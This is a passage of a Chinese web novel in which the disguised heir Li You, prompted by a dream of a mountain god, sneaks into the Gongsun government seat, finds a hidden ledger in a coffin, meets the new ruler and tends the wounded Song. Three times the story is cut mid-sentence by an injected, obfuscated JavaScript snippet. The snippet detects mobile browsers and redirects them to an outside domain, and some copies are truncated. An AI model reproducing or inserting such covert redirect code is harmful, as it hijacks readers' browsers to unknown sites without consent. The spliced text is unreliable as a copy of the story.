这场景甚至闹腾。老鸣把门牙一叉便开始破口大骂:“你这兔崽子还知道回来啊?我都以为你死了准备筹钱给你下葬了呢!你倒好,我喝酒喝得正痛快你就来打搅我,怎么滴酒钱你出啊还是找我讨债来了?” 唾沫星子肆无忌惮地飞,客人纷纷朝这边看来,无一不在议论纷纷,看来台上戏子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420091|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唱的哪有八卦好听,黎宥这下算是颜面扫地了。 已经听不清老鸣在骂什么了,他硬生生把团聚的两父子掰扯开,揪住庄正的头发就开始斥责:“这小子好生可恶!要不是他出的鬼主意,我家孩子会跟着他出门鬼混?!老牛,平时我待你如何?且不说每顿饭钱都准时给上,平时你店门冷冷清清,还不是我老鸣来给你场子!你赶紧管管你这败家儿子吧,这顿酒钱,我不付了。” 看来目的很明确,黎宥嘲笑。 没办法,这回也确实算她黎宥对他老人家不孝顺,便暂且给老鸣当一回牵线木偶罢。 汇庆坊人声鼎沸,很快就淹没了这场闹剧。 黎宥第一次觉得这样欢喜冤家的日子挺让人欣喜的,最起码很安心。 这晚,她倒头就睡。 松窗漏月,星明风清。夜半时分,一缕岚烟绕梁而落,萦绕在黎宥枕边。 她此刻熟睡着,并无察觉。眼见烟丝缕缕随着呼吸消失,黎宥眉心轻微一皱。漆黑的脑海中渐渐有什么蠕动起来,就像一个很朦胧的梦境一样,她仔细地去捕捉,那梦才慢慢显形。 过度劳累的缘故,黎宥很快就沉浸在梦中。梦里,她靠在树桩旁无聊地看天。与此同时,一个飘渺的身影向她走来。她认得,是山神,在这荒山野岭的地方能见到山神,想必他一定是有事相告。 于是黎宥回过神来拜见。 没等黎宥好奇山神何故亲自下凡来找她,山神就先开口了:“孩子,你对这个国家的怜悯之心是其他人所不曾有的。吾曾以为吾凭一己之力便能将山河社稷恢复如初,现在只怕是力不从心。”说罢,他顿了顿,嘴角微扬欣慰地看着眼前少年,“若你愿意,吾想同你一起建设家国。” 此言一出,黎宥心中一颤,她像得到心爱玩具的小孩似的,掩饰不住自己的惊喜与兴奋,忙应声道好。 山神向她走近了一步,轻声问道:“不知少年郎名为何?” 黎宥抬眼看他,心想原来山神不知道她的身份么?既然如此,还是暂且隐瞒吧。除父母亲和以前的几个亲近的朝臣知晓她的姓名和身份,别人是一概不知的。于是她只将姓名如实告知。 “如今国运衰落之势,不知汝是否察觉。”山神敛容。 黎宥不可否认,自从父王母后消失,淮池便再也没有往常之势。 “吾知晓,几年前朝权更替,又有战火连天,故而淮池不如从前。”山神声音低沉,让黎宥想起了那个昏暗绝望的夜晚,“吾早些时日一直在修炼神力,却发现日渐不如一日。吾本不想干预人间之治事,然而神力与国运相连,若国运衰落,吾不敢保证神力是否还能维运山林,且恐怕,也镇压不住那山下邪祟了。” 黎宥垂眸,山下镇压着一只穷凶恶极的妖怪,百年前就差点将这里连人带土翻天覆地了,若它复苏,只怕大家都没有活路啊。她道:“既然如此,让淮池重振旗鼓是唯一的办法了。” “诚然。淮池现由公孙氏主政,公孙氏——是什么样的一个氏族?” 12. 初探公孙氏 黎宥蜷着手臂作思考状,也是做了民间客,才知道皇室朝廷的消息并不是那么轻而易举就能知道的。她道:“公孙氏……我并不了解,不过我可以去查探。” 山神沉默。继而开口:“无能之辈。” 黎宥疑惑。山间刮起一阵清风,山神一摆宽大衣袖,神情严肃道:”吾以为,公孙氏主政八年过去,却让淮池不盛反衰,岂非无能之辈。” 黎宥松了口气,其实她刚刚以为那句“无能之辈”是在说她。没想到山神竟直接在她面前就给公孙氏揭了个短,平日只常听街坊邻居数落唾骂,这下看来公孙氏真的害淮池不浅。 风越刮越大,再抬头看眼前时,山神已经拂袖而去了。 往常她对新政怎么管怎么治并不放在心上,而此次与山神一面之见,“公孙氏”这三个字就在她脑海中挥之不去了。 黎宥睡得随便,醒来时被寒风冻得直哆嗦。窗户没关,所以屋外的树叶落了她一身。她从柜子里翻出一件夹衣,边擤鼻涕边呢喃:“天要转凉了。” 说完她忽然愣了一下,才想起睡觉时做的梦。 “等等。”她从床上窜起身,“公孙氏。山神。我昨天是做了个梦吗?难道说,是山神给我托梦了?……不会吧。”她扶额尬笑,迟钝地回想起来梦里都说了做了些什么。 “就算只是梦,这个公孙氏也确实值得关注”黎宥自言自语道。 公孙氏在黎氏败退后,便火急火燎地前脚赶后脚争坐上了朝廷,仿佛淮池本来就属于他们的才对。新政上任,大家伙儿在流离失所后也顾不得去想他们值不值得信任了,只求能吃口饱饭睡个好觉,所以有人愿意接管朝政比没有好。长此以来,百姓们就习惯了新政对他们的管理,纵有不公,也只敢劈头盖脸骂一通,却没人敢真的去“把皇帝拉下马”。 黎宥也从来没把国运什么的和新政联系起来,她抬手拍了自己一嘴巴,斥责自己,怎么就没想到呢? 来不及多想,黎宥火急火燎地冲出门去,她打算先从衙门四处张贴的告示查起。 刚出门走不远,便听到了有人在大声嚷嚷着什么。定睛一看,原来是一处茶馆。一些拉车的壮汉最喜在此处喝茶歇脚,众所周知,论八卦趣闻谁人知道的多,那这些四处走客的车夫可算得上是顺风耳,再加之,古往今来啊,这茶肆酒馆可谓是“交换信息”的绝佳之地,在这儿坐上个两杯茶功夫,准能听到最新鲜的事儿。 很好,那就且在这里喝两杯茶透透气吧。黎宥状若无事地拉开一把木凳坐下,开始竖起耳朵来收集信息。实不相瞒,她刚才就是听到了有人说“臭朝廷”才决定喝茶的。 “小二!给我来上一桌最好的菜!”一个粗嗓子叫唤道,他举着茶杯重重锤在桌上,对着那一桌另外几人骄傲地说,“今儿我请客!” “拉到财神爷了啊?这——么大方,不像你啊。”另一个人戏谑。 “那可不。拉着个官儿爷嘞,就是他给我说的消息,完了下车还多给了我两钱子,叫我别往外说嘞。”他一手往脸边一拢,刻意低声了说。 “来来,继续说来。” “那臭朝廷,要限咱们出城嘞!还说派了人到山脚边儿上守着,要有人偷偷翻山出去,当场砍头嘞。”粗嗓子比了个抹脖子的动作,“哦对,他还说,过不了几天,还要查咱们每家每户的人口,管你叫什么狗剩铁蛋,通通要给朝廷报上名儿去嘞!” 众人听罢,纷纷“嘶嘶”吸气,一人说:“搞啥幺蛾子哟,又不让出城,我老哥还在外边做生意嘞,就指望他养家喽。” 黎宥听得一头雾水,朝廷要我们的名字干什么?不会真的喜欢和老百姓玩点名游戏吧? 粗嗓子看大家滔滔不绝地评判讨论,眼里的傲娇都快藏不住了。瞧那拉一个小小官员就给他高兴的,要是他知道我还是前朝皇子,不得给我嗑两个头啊?黎宥歪想着,忍不住笑了起来。 她将杯茶一饮而尽,转头望着街道上的人来人往,嘴里嘀咕:“这辈子还能不能像以前一样潇洒快活啊。” 正要起身离开,耳朵尖的她忽然听到了自己的名字。 “哎你们认识一个叫黎宥的人不?”粗嗓子的声音又捏细了些,“最后这个消息啊,我只偷偷告诉你们。就是他们在秘密找这个人,那人还跟我说,找到了带给他,他就给我十块银锭嘞!” “十块哪!这这这……”其余几个人交头接耳地问“你认识黎宥不”。 黎宥装模作样凑过去粗嗓子耳边,问他:“哎兄弟,你们说的这个黎宥是谁啊,竟然值十块银锭?” 粗嗓子吓了一哆嗦:“你……你休想分这十块银锭。走走走,这儿没你的事!” 其他人也附和。有个瘦子指她道:“难不成你知道他?” 黎宥一挥手:“嗨,我要是知道我可就赶快把他捉去换钱了,还用得着来知会你们一声吗?” “有道理。”瘦子挠头,“那应该是个十足的罪犯吧。” 黎宥撇嘴,她算哪门子的罪犯? 离开茶馆后,黎宥越发想亲自去府里看看,非是去认罪,只当全然不知此事,替山神查查公孙氏好了。 说来奇怪,一直公孙氏公孙氏地叫,却没人知道具体的名字,也没人见过他,这点,这位新国主倒和黎宥父亲的行为很是相像。 据她所知,新朝延的城府就是黎氏府所在。她记得她小时候挖过一个偷偷出城的地道,不出意外的话,她从密道溜进去,多少能知道国主长啥模样。 凭着久远的记忆,黎宥先是走到山脚下。城府依山而筑,为了防止有山贼翻进来,还有不少士兵驻守于城墙之上。她只好绕进茂密的树林,等找到了地道,再见机行事。 地道是黎宥从她的房间床底下开始挖的,出来后是山上的一棵小榕树。现在地道通往的是谁的房间不得而知,唯一知道的是她在树的最顶端系了一条腰带,现在想来,那腰带应该已经藏在枝叶间了。 “找到你了。”黎宥眼尖,即使腰带藏在树叶缝里,还经历了八年风吹雨打,她也能顺利找到自己的童年。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420092|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顺着树干往地下看,却发现地道的豁口是大开着的。黎宥单膝下蹲,眯着眼往洞口瞧。进洞口的必经之路上泥土平滑,稍稍泛着湿,显然是有人进去过的痕迹。 黎宥立马警觉,难道除了她,还有人知道这条小道? 这下虽不可贸然进去,但如果不从这里进去,难不成要大摇大摆地闯大门?黎宥蹲在大榕树旁,仔细扎好上下袖口,还把平常随身携带的小刀子握在手里。 地道是小黎宥挖的,所以以黎宥现在的身形,要在里面游刃有余,还真有些吃力。逼仄的空间里充斥着湿泥混着腐烂叶子的气味,小时候一心只想着逃出去所以没感觉,现在只觉刺鼻的很。 才爬了没几步,黎宥忽然听到地道里有人在窃窃私语。 她握着刀的手心沁出了汗,挪着步子悄然前进。随着走近,交谈声逐渐开朗了起来,待她看清地道里的人,心里却哭笑不得——地道里,庄正和金悠正以蹲坑的姿势挤在一起,全然不知黎宥就在身后。 “喂你们两个。”黎宥猛地把手搭在他们肩上。 两人被吓得大惊失色,差点没就地土葬。黎宥眼疾手快地捂住他们的嘴,无奈地质问道:“为什么又是你们?” 庄正呜呜叫着,示意黎宥松开。“怎么就不能是我们了,同样是给山神大人做事,难不成你想把功劳据为己有啊?真是吓死我了。” 黎宥道:“这么说,你们也梦到山神了。” 金悠道:“今日一早我就去找了庄正哥,听到他嘴里一直在喃喃''公孙公孙'',我就提议我们一起来新城府找找线索。嗯……黎兄你别怪我们,庄正哥不是故意不叫上你的。” 黎宥白了庄正一眼,随即正色道:“既然都来了,那就别耽误时间,我们想想办法溜进去吧。对了,你们刚才在聊什么?知道上面住着什么人了吗?” 庄正从泥泞中爬起来,道:“我猜啊,这上面应该是个太平间。” “我看你像太监。这……”黎宥差点想说这明明是我的房间,幸好反应快。“这洞门都没打开,你不可胡言乱语。” 庄正反驳:“谁胡言乱语了,那不然怎么有股死人味儿呢?你不觉得这个地道很臭吗?” 庄正提这一嘴,黎宥不得不重新思考刚才的问题。她本以为这个地道的腐臭味是弃置太久所致,可想来这臭味未免也太重了些。一个扭身,她窜到另外两人跟前、洞口底下,用手轻轻推开老旧的地道门。 粉尘簌簌洒在头顶,黎宥蹑手蹑脚地爬了出去。 她回头对二人在唇边比了根手指,打算自己先去看看此为何地。 没想到从地道里出来还是个床底。黎宥手脚并用,将半个身子探出床底,四下观察确认无人后便撑着起身。一站起来她的头就蒙上了一层草布,回头一看,一股腐烂味道直击鼻腔——竟然是个死人,应该是个小臣,死了有些天都被人给忘了,没放进棺材里。 黎宥“呸呸呸”吐掉口中异味,正欲给人家拜两下,心道莫怪莫怪,却听见门外有人靠近。 13. 空棺材 再钻回地道是来不及了,黎宥急中生智,就近找了个棺材躺了进去。她已经做好了憋很长一口气并且和另外一个人亲密接触的准备,都盖上盖儿了才发现那棺材是空的,也没有尸臭,说明此棺材还没人用过。 那岂不正好?黎宥心想,静静候着来者。 门“吱呀”一声被推开,沉沉的声音隔着棺木传来:“那,就是那具,赶紧叫人搬去埋了。” 另一个人不紧不慢地说:“不得先检查一下吗?赵侍郎今早还提醒我有几具棺材停着,别弄错了。”说着黎宥就听见棺材板“啪”的一声,一缕光漏了进来,应该是那人想打开,她重新握紧了刀。 “错不了,我亲自带人来给他放进去的,别啰嗦了,耽误了时辰。”又是“啪”的一声,棺材彻底陷入黑暗。 这棺材里分明没人,而且现在正躺着个活人,这明显是那个赶着急的人心中有鬼。 可不能让自己被“盖棺定论”,更不能让这个人想隐瞒的事情被“盖棺定论”。黎宥沉住一口气,因棺材内黑暗,冒然出去一见光眼镜肯定看不见东西。她闭眼仔细聆听辨别那两人交谈声音所在,而后一抬腿踢开棺盖,朝着声音的方向杀去。 速度之快,动作之行云流水,都没听见惊叫的声音,那两人就昏倒在地了。 料想刚才他们所说,屋外应该还有些准备搬棺材的人,为了不引更多人来,只好先拿这两人当工具了。 黎宥速速钻进床底与地道里的二人交代了情况,二人从地道中爬上来,她道:“我们已经暴露了,现在仓皇而逃肯定有危险。不如将计就计,把地洞的事卖了,就说我们是无意间发现这个地方的。这两人……”黎宥捏了捏下巴,“据我刚才所闻,他,”她甩手指向心怀鬼胎的一人,“心怀不轨,我们如实交代,再把他供出去,那些官员不会拿我们怎样。” 庄正给她竖了个大拇指,赞扬道:“啧啧,厉害啊,黎少侠,既有身手又有头脑。行,那好办,咱们从速吧。” 黎宥用力把人扛在肩上,金悠却忽然叫住了她:“你们看!” 黎宥顺着金悠看去。 “这个棺材里藏着一本账册。”金悠掀开棺材,发现这棺材里竟然有个不起眼的夹层,想不到这人做得还挺周到。黎宥闻言把肩上的人扔在地上,接过金悠手里的账册。她随手翻了几页,用手指抹了抹上面的字迹,断定这是长久记录的一本账册,这么说,那人应是想做假账了,把真的账本藏在棺材里,好让真相销声匿迹。 “这下就更加确认此人的罪行了。”黎宥鄙夷地盯着那人,那人看着就一副好吃懒做的模样,这种人能想到的赚钱方法也不过于此了吧。“只这一本小小账册,那便说明这是极其重要的一本,我要是国主就把我们放了,再奖励我们点钱。” “奖励你去汇庆坊吃一顿还差不多。”庄正调侃道。 “看来还得感谢这位仁兄啊,要不是他尸体在这臭了几天,我还不乐意再打开这具棺材呢。”黎宥对着那具她刚从地道出来时差点撞到的尸体拜了拜。 事不宜迟,这里本是黎宥以前的房间,她自是最了解此处格局。她带着庄正金悠从房间的另外一个门出了去。一路上,黎宥脚步沉稳,直奔主殿。 庄正道:“喂黎宥,你怎么对这里这么了解,连我家后厨都去厕所你都得问路,反倒在这里气都不喘一口。奇人也奇人也。” 黎宥头也不回地说:“是个人都知道最高最大的那座楼是主殿吧,再不济也是管事的人工作的地方啊。” 黎宥带他两绕开了附近把守的士兵,直奔主殿。很快了,我倒要看看公孙国主是个什么人物。黎宥越想越兴奋,按耐不住越走越快的步伐。 贸然闯进去肯定会被抓个正着,他们找了个角落守株待兔,果真让他们守到了一个朝臣。庄正首先冲出去,一脸正经地禀告说事。见那朝臣听进去了,黎宥他们也从角落里出来,一脸正义而又人畜无害地盯着他。 旁边的侍卫见状拦住了他们:“赵侍郎,是否要将这几位顽固小儿押走?” 原来他就是赵侍郎,黎宥心想。 她立马解释道:“原来您就是赵侍郎,我们只不过是无意中发现地道,并非有意闯入,请侍郎宽恕。” 赵侍郎奇道:“哦?你怎么知道我?” “小的怕被人发现而实现藏在一口空棺材里,不想居然在棺中发现了一本账册。而赵侍郎您的名字,也是从那两个进来确认棺材的人口中听到的。” 黎宥看了一眼金悠,金悠了然,将藏于胸口的账册递给赵侍郎。 赵侍郎转身接过账册,随手翻了翻,便将其塞进袖中。他转而用不善的眼神看着黎宥,斥道:“无知小儿,私闯朝廷竟还有理了。这本账册只不过是那个死人的随身之物,我们尊重他,才把它塞进棺材里和他陪葬。你们污蔑朝中官员,还将其打伤,来人,给他们几个屁股上点儿颜色,上完撵出去!别再让我看见这种蠢货!”赵侍郎一脸怀恨地看着他们,仿佛与他们有什么滔天大仇似的,“再派人去把那两个看棺材的抬回房。” 黎宥被死死挟住双臂,无法挣脱。 她怒火中烧,不承想这个赵侍郎竟如此包庇作恶之人。莫非他也参与其中?她眉心紧锁,呵,不论是参与还是包庇,皆非光彩之事。 三人被拉到打板子的木板上,眼看着大板子要落到屁股上了,忽然来了一个人将其叫停:“哎哎,干什么呢这是,怎么打小孩儿呢?快放他们起来。” 黎宥又被拉扯着从板子上支起身来,她心中仍充满不解与怒恨,只想眼前这人不会也是披着羊皮的狼,来让他们死的更惨的吧? 她不屑地抬眼望去。来者眉眼高挑,身着华丽高贵,身后跟着好几个仆人。他抬手示意打板子的人将板子放下,亲自走过来询问他们是否有受到伤害之处。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420093|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那几个打板子的人迅速跪下,齐声喊道“拜见国主大人”。 原来他就是国主么?黎宥正想看看他意欲何为,结果庄正就先跪下了。他不仅跪下了,还把刚才在赵侍郎那里说的一字不差念了一遍,不仅念了一遍,还对着国主哭诉赵侍郎包庇坏人,说他们在谋划毁了朝廷。 黎宥听得目瞪口呆,她都不敢去看国主现在脸上是什么表情。你说他是要亲自给我们屁股上颜色呢还是把我们扔到森林里喂狗呢,黎宥心道失策失策啊。 国主心平气和道:“你们……真是很勇敢的孩子啊,居然发现了个巨大的秘密。关于你们所说之事,我定会查清楚。那么,你们都叫什么名字?看在你们帮了淮池一个大忙,我派些人以后去照顾和保护你们如何?” 几人面面相觑。黎宥心说她可不能把自己的真名说出去啊,可是值十块银锭呢!庄正才刚刚树立了无辜形象,总不能下一秒就成通缉犯了。 一时半会儿想不出来什么正常的名字,情急之下黎宥只好说了个“黎嵩”。 二字一出口,就得到了庄正和金悠惊讶的凝视,众目睽睽之下,她妄想通过挤眉弄眼来暗示他们别揭穿,不过幸好他两并没说什么,只是一直在无辜地眨眼。 沉默之际,忽然,从国主身后冒出来一个小姑娘,才不到腰高,小手扯着国主的衣襟,乳声乳气地说:“爹爹,他们是谁呀?” 小女孩出现的那一刻,黎宥愣了一愣,这张脸,长得有点像一个人。 黎宥五岁时,府里送来了一个啼哭的婴儿。 抱着襁褓的人跪在地上嚎啕大哭,声嘶力竭地央求道:“求你们了,求求你们了,救救她吧!她才刚来到这个世界……你们若是不收下她,我便和她一起冻死在你门前!” 最终那个婴儿还是被收留了下来,送她来的妇人头也不回地消失在大雪中。这之后,黎宥就多了个妹妹,名叫公孙芫。至于为什么不姓黎,母亲只说,长者跟父亲姓,幼者同母亲姓。 长久以来她和妹妹公孙芫如胶似漆,直到八年前的那场战争,她被送出来后却发现朝廷已尽数烧毁,楼破人亡,绝望的黎宥在一片狼藉中找到了公孙芫被烧焦的尸体,痛不欲生。 她一直不理解为什么父母只将她送出城外,而妹妹却被残忍地抛弃在大火中了。她忘不了灰烬中公孙芫的脸,仿佛能想象到她失声哭泣的样子。 而现在出现在眼前的这个小姑娘,跟妹妹公孙芫长得是那样的像。 “他们都是些勇敢的哥哥,小愿以后啊,可要向他们学习。”国主宠溺地摸摸小女孩的头。 黎宥听了好几遍才发现是“愿”而不是“芫”。可是究竟是为什么会有那么巧合的事呢?虽然如果小芫活着,现在一定到她肩头高了,但是眼前的这个公孙愿,无论是名字还是模样,都神似已故的妹妹。 黎宥将视线移回国主身上,他到底是谁? 14. 巧遇 被放走之后,黎宥他们并没有光明正大地从大门出去,而是选择了从地道钻出去,出乎意料的是,国主也没管他们,大概是觉得几个小屁孩没必要花心思吧。 他们重新回到了太平间,庄正和金悠纷纷捂住了口鼻。黎宥忽然很想知道那个死了几天都没能安葬的可怜人到底是谁,她几步向前,带有几分忌惮,缓缓掀开草席。 午后的阳光从高高的窗棂间洒下来,把空中翻飞的灰尘照耀得格外清晰。阳光同样在这一瞬间找到了尸体的脸上,那是一个满脸褶皱的老人,穿着像是生前一直穿的,褴褛肮脏。 金悠站在黎宥的身侧,忽然倒吸了一口气,情绪激动地说道:“这?这是那个告诉我山神的老人家!他怎么…他怎么…”黎宥怔住,拎着草席的手指在微微颤抖。 庄正原本并不想看,只是远远站在一旁,听到这话却也睁大着双眼不可思议地问道:“你当真没看错?可是他是个流浪汉,怎么会死在府里?” 既是朝廷里死去的人,她本以为最不起眼也是个卑微的臣子个人,怪不得只是用草席草草盖住,连块干净的白布都没有。 要是这是位素不相识的人也许她只是掀开满足一下好奇心就走了,可这老人虽说并未见过,但要是没有他告诉金悠准池的埋没的历史,或许她根本不会去寻找山神,更不会回到这座日城府来冒险。 见金悠还在呆呆地怜悯般看着老人,黎宥开导他道:事已至此,只能祝逝者安息了。我们把他放进棺材里吧,世事无常,幸好他老人家还在生后遇到了我们。” 金悠点头。 棺材盖好之时,窗户上的阳光也落下去了。这一趟严格来说什么都没查到,只有“新□□败又黑暗”的刻板印象又加深了一笔。 不知是不是错觉,地道中的臭味似乎褪去了几分。几人拍拍身上的浮土,各自启程归家了。兴许是国主有令,他们大摇大摆地从林子里走出来,那些士兵也不看一眼。 逆着斜阳沿城墙走,黎宥突然听到背后传来一阵喘息声。 “有人!”她蓦然一回头,就见也从山上走下来,脚步踉跄,一屁股坐在地上,靠着城墙。城墙的阴影下看不清他的脸,只勉强看清他像是很累的模样,垂着头。 庄正问她要不要过去看看,黎宥点头道好。 于是三人又延路小跑回去,越走近才发现不对劲,这个人,怎么越看越眼熟?黎宥率先认出来:“……嵩?”她不可置信地小声唤道。 嵩转头,艰难地抬眼看她,眼皮在微微颤动。 黎宥没有忘记他对山神下杀手一事,但是此刻嵩正一手捂着小腹,随着喘息,乌黑衣上,隐约有什么液体浸出。 她蹙眉,走到嵩面前蹲下,近距离之下,确认了他在流血。“你受伤了。怎么回事?”她取下绕在小臂上的布条,想为他包扎。 嵩推开她的手,勉强着站起身,面不改色地留下一句:“没事。” “怎么可能没……”话没说完,就见嵩没走两步,“咚”的一下倒在地上。 庄正啧啧笑道:“逞什么强啊。哎黎宥,他该不会是以为你要来捅死他的才撑着要走的吧?” 黎宥已经在探他的气息,头也不回地说:“来帮我把这废人抬回去吧,上次是我背,这回该你了。” “哎你说你为什么非要救他啊?你不是盼着他快死吗?怎么这下还英雄救美上了?而且还要我出力。”庄正气笑了,把手交在胸前,“你要救我不拦你,但你得为自己的冲动付出代价,比如说背着他。” 黎宥叹了口气,心中自是百般无奈。他从来没杀过人,纵使立下了多大的决心要将恶势斩尽杀绝,却做不到见死不救。此人虽可恶至极,却并没有犯下什么滔天大罪。先前想过,不知他是否有什么苦衷,或许他有难言之隐,或许他纯粹急性子。 如果就这么放任他随着太阳落下就完全死去,那她和赵侍郎的自私手下有何区别? 她对庄正挥挥手道:“你们先回去吧。” “那我们走了,你小心点儿。” 太阳已经完全落山,这里又是山脚下,昏暗的光线下嵩的脸看起来有些严肃可怖。不疾不徐地走回家,窗户里炊烟弥漫,看来老鸣在做饭。黎宥肚子不争气地叫了一声,一瞬间都忘记了身上还拖着个人。 “煮啥呢让我尝尝来。” 黎宥撅着鼻子靠在灶台边上,嵩的头发垂在脸前,笼罩在蒸汽之中,老鸣“哇”的一声吓一跳,手里的汤勺猛地砸在嵩头上,一声闷响,黎宥感觉肩上一轻,嵩摔落在地。 她尴尬地回头,一边对着老鸣笑,一边把地上的人捡起来拖回房。老鸣齁声呴气地大喊:“你个兔崽子,又把这个疙瘩货搬回家。我可不养,你别让他饿死在我家。” 黎宥把嵩扶上床。回来的时间有些久了,刚还被老鸣砸了一头,不知道还活着没。琢磨着,她想起来之前在山上听到他没心跳的事情,心里咯噔一下,悄摸把手伸向嵩的胸口。 她心跳得飞快,指尖的脉搏也在突突跳动,好像在做什么亏心事似的。就在指尖碰到衣布的那一刻,突然,她的手腕被抓住了。 “干什么。”嵩浊重的声音从头顶传来,她想把手缩回去却死活抽不出来。 黎宥一脸窘迫,将身子直起来,发现他连眼睛都没睁开。“给你检查伤口,再不包扎血都要流光了。”死了自己走去地里,她没敢说这句,只在心里狠狠地骂他。 “你是流血过多了才晕倒的吧?放心,我不是来杀你的。”黎宥说,他果然就把手松开了。 “你杀不死我。”他眼睛睁开了一条缝,但也足以看清,没有一丁点生气。 黎宥没理他,随手往门外一指,道:“要洗澡的话在那边,没热水,别冷死了。” “不洗。”他道。 “不洗滚出去。”黎宥回头瞪他。 嵩就真的起身往屋外走了。黎宥心说还真不能跟这种人讲道理啊,像是故意要跟你作对似的。可是不能放他走,万一他又出去找别人麻烦乱杀人怎么办,黎宥打心底觉得嵩就像一只毫无人性的野兽。 正想如何把他劝回来, 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话语一落,黎宥禁不住浑身抖了一抖。他的眼里像是藏着把利刃,寒光四射,永远化不开。她记起第一次见到他时他还不至于这么无情,顶多就是不善言语,可现在,他四周的煞气分明浓烈了许多。这一瞬的眼神让黎宥刻骨铭心,他自己明明就是人类,为什么会有如此恐怖的想法? “这就是你对山神动杀手的原因?”黎宥也把声音压了下去,这样的事情她绝不容忍。 嵩听到“山神”,立马又变的警觉。她知道暂时是不能和他正面谈论这些事了。她把手伸到嵩面前,晃晃酒坛子,故作轻松地说:“你会喝酒吗?陪我喝点吧。” 他的眼神又柔和了下来,不知为何,黎宥觉得他好像一只野猫,戒备心很强,但又很容易哄好。下次试试丢块肉给他看看能不能顺一把他的毛,他毛发凌乱打结的模样真的很让人没有靠近的欲望,像个拖把头。 黎宥拔开酒塞子,就见眼前摆了两只脏兮兮的大手。“你干嘛。”她不解。 “喝酒。” 懂了,他想用手接着喝。 有待教化。 “有杯子。” 他就把手放下了。 安静下来后,才渐渐听到不远处的虫鸣。黎宥屈起一条腿坐下,怎料月光全被遮挡住了,嵩的个头很大,这她知道,但没想到这么威猛啊,黎宥坐在他旁边,差点就要承认她是女的了。 良久,二人谁都没开口,连酒杯也不碰一下,黎宥感觉心里发毛。 忽然,是嵩打破了僵局:“你很敬重他么。” 黎宥耳朵像是被刺了一下,“谁?”她道。 “就是……山上那个人。” “你是说山神?”她怕又激怒了嵩,故意把“山神”说得很轻很轻。 嵩木讷地点了点头。 这让黎宥有些难为情,她的确很敬重山神,但要怎么说出一个两者都不得罪的回答呢?那干脆先忽悠过去吧,她道:“为什么问这个?” “你在听他话么。”嵩也不接话。 15. 酒聊 差点忘了他是个无比固执的犟驴。 “我……”黎宥一时语塞,但她转念一想,其实没什么好隐瞒的,她本意就是要来劝他也来协助山神的不是么。“没错,我不但听他话,还在帮他做事。”她昂起头来。 肉眼可见的,嵩的表情从试探变成了不可置信。 “看你这表情,你该不会是想让我听你话吧?”黎宥不屑道。 这话貌似有点冒犯到他了,他不说话,闷头把杯中酒一饮而尽。 她也抬头叹气,喝酒。许久,她才又开始找话题:“对了,你为什么执意要回到山里呢?仅仅只是因为讨厌人类吗?” 嵩看向身后的大山,又回过头来将头埋在胸前,闷闷地说:“我……我还有……未完成的愿望。” 黎宥没想到他居然还有愿望。她追问:“愿望?是什么?” “你哪来那么多问题?”嵩道,“我一个将死之人,你不必知道那么多。” 黎宥好气又好笑,他是觉得自己受了点伤流了点血就算是将死之人了吗? 他又说:“你问了我那么多,该轮到你告诉我有关于你的事了。” “哈,你居然还会主动了解别人的事。”黎宥有点儿意外,“我嘛,不过是小小草芥罢了,如你所见,和整条街一样,住的是茅屋蓬牖,穿的是粗布衫子。” 嵩稀有的“呵”了一声,像是看穿一切似的,他斜睨着看她道:“怎么可能。” 第一次有人质疑她的身份,尤其是像嵩这样,根本不可能跟你开玩笑的人。黎宥心跳漏了一拍,刚灌进嘴里的酒又呛了出来。“眼睛长在你脸上,你也看得见,哪有名门闺秀天天吃着粗茶淡饭的?”她翻了个白眼。 “我没有说你是名门闺秀。我是觉得,你身上有武功,一定不简单。” 黎宥给他倒酒,心下想,这人喝酒喝多了吧,今天怎么这么多话?不能再让他问下去了,总觉得他是带着答案来问问题的,非要扯出个满意的回答才作罢。 她的武功乃父亲的得力将军所传授,自幼习得,并不比军中日日锻炼的士兵弱。说起来,她那时候一点也不喜欢练武,一心只想着在哪里挖洞才能到外面玩。然而每次都被将军提溜回来,逼着她将各个招式熟练于心。 一想起往事,她的感情总是复杂的,她故作高傲地对嵩说:“我不仅身上有武功,我还有煞气,邪恶至极,但凡在我身边的人,都活不过十二年。” “十二年,还能活这么久。”嵩道。 你看你看,这又比上了。黎宥心想。 不知不觉,天开始蒙蒙亮,麻雀的叫声从枝桠间传来。酒坛子见了底,醉醺醺的晨光从雾岚中升起,远处的山峦清晰可见,黎宥用余光看嵩,见他亦在往山的方向看,便打趣地说道:“还以为你会趁我们都睡了,偷偷溜回山里。” 嵩沉默良久,才道:“有些事情……我暂时不能回到山里。” 黎宥偏头:“难道是……愿望?” 他垂下眼眸叹气道:“如果你愿意给我住的地方,我就告诉你。” 什么啊,说半天原来是为了这个。 